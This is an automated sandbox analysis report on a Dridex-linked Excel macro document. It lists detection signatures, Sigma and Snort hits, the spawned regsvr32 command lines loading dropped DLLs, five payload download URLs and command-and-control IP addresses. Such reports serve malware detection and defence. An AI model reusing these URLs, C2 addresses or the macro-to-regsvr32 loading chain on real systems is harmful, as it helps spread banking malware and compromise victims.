Play interactive tour

Edit tour

Analysis Report printouts of outstanding as of 01_20_2021.xlsm

Overview

General Information

Sample Name:	printouts of outstanding as of 01_20_2021.xlsm
Analysis ID:	342170
MD5:	28e9c78dcffb4a80c7bcfcd818791940
SHA1:	0f239865c9e2bdd64d2017c7d26cac19dc7d3cde
SHA256:	09cceb619174c99d026734f860f26cda0107af31b9153a9f7d6613c86fd57772
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Multi AV Scanner detection for submitted file

Sigma detected: BlueMashroom DLL Load

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Regsvr32 Anomaly

Abnormal high CPU Usage

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Downloads executable code via HTTP

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Is looking for software installed on the system

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the installation date of Windows

Registers a DLL

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 552 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

regsvr32.exe (PID: 2496 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2316 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1204 cmdline: -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll MD5: 432BE6CF7311062633459EEF6B242FB5)

regsvr32.exe (PID: 2348 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zdkvrlsh.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 972 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zaviwlej.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1664 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\alajwj.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2684 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2940 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2852 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2848 cmdline: -s C:\Users\user\AppData\Local\Temp\ogsit.dll MD5: 432BE6CF7311062633459EEF6B242FB5)

regsvr32.exe (PID: 2428 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2424 cmdline: -s C:\Users\user\AppData\Local\Temp\ogsit.dll MD5: 432BE6CF7311062633459EEF6B242FB5)

regsvr32.exe (PID: 2400 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2372 cmdline: -s C:\Users\user\AppData\Local\Temp\ogsit.dll MD5: 432BE6CF7311062633459EEF6B242FB5)

regsvr32.exe (PID: 2536 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\luwbghnz.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2408 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2608 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1428 cmdline: -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll MD5: 432BE6CF7311062633459EEF6B242FB5)

regsvr32.exe (PID: 2456 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 856 cmdline: -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll MD5: 432BE6CF7311062633459EEF6B242FB5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: BlueMashroom DLL Load

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll, CommandLine: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 552, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll, ProcessId: 2496

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll, CommandLine: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 552, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll, ProcessId: 2496

Sigma detected: Regsvr32 Anomaly

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://cms.ivpr.org/by9zwa7p1.zip	Avira URL Cloud: Label: malware
Source: http://monitrade.net/h79fwesfe.rar	Avira URL Cloud: Label: malware
Source: http://salaodigitalautomovel.pt.deve.pt/d8ms3mljy.zip	Avira URL Cloud: Label: malware
Source: http://laureys.be/uzssv27.rar	Avira URL Cloud: Label: malware
Source: http://artec.com.tr/xkpffwn.zip	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Show sources

Source: printouts of outstanding as of 01_20_2021.xlsm	Virustotal: Detection: 24%			Perma Link
Source: printouts of outstanding as of 01_20_2021.xlsm	ReversingLabs: Detection: 11%

Compliance:

Uses insecure TLS / SSL version for HTTPS connection

Show sources

Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49179 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49183 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49186 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49187 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49191 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49192 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49199 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49204 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49209 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49212 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49216 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49222 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49225 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49228 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49232 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49238 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49241 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49244 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49246 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49249 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49256 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49257 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49260 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49264 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49270 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49271 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49279 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49283 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49288 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49293 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49294 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49286 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49302 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49305 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49309 version: TLS 1.0

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\zsijkwsd.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll	Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: h79fwesfe[1].rar.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Jump to behavior

Source: global traffic

DNS query: name: monitrade.net

Source: global traffic

TCP traffic: 192.168.2.22:49170 -> 194.225.58.214:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.147.185:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49171
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49170
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49174
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49177
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49177
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49179
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49180
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49180
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49182
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49183
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49184
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49186
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49187
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49188
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49188
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49190
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49190
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49191
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49192
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49193
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49194
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49196
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49197
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49197
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49199
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49200
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49202
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49202
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49203
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49204
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49207
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49208
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49208
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49209
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49206
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49206
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49210
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49212
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49213
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49213
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49215
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49216
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49218
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49218
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49219
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49220
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49220
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49222
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49225
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49223
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49223
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49224
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49227
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49228
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49229
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49229
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49231
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49232
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49234
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49234
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49235
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49236
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49236
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49238
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49241
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49239
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49239
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49240
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49243
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49244
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49245
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49245
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49246
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49248
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49249
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49251
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49251
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49252
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49253
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49254
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49254
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49256
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49257
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49260
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49258
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49258
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49259
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49264
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49263
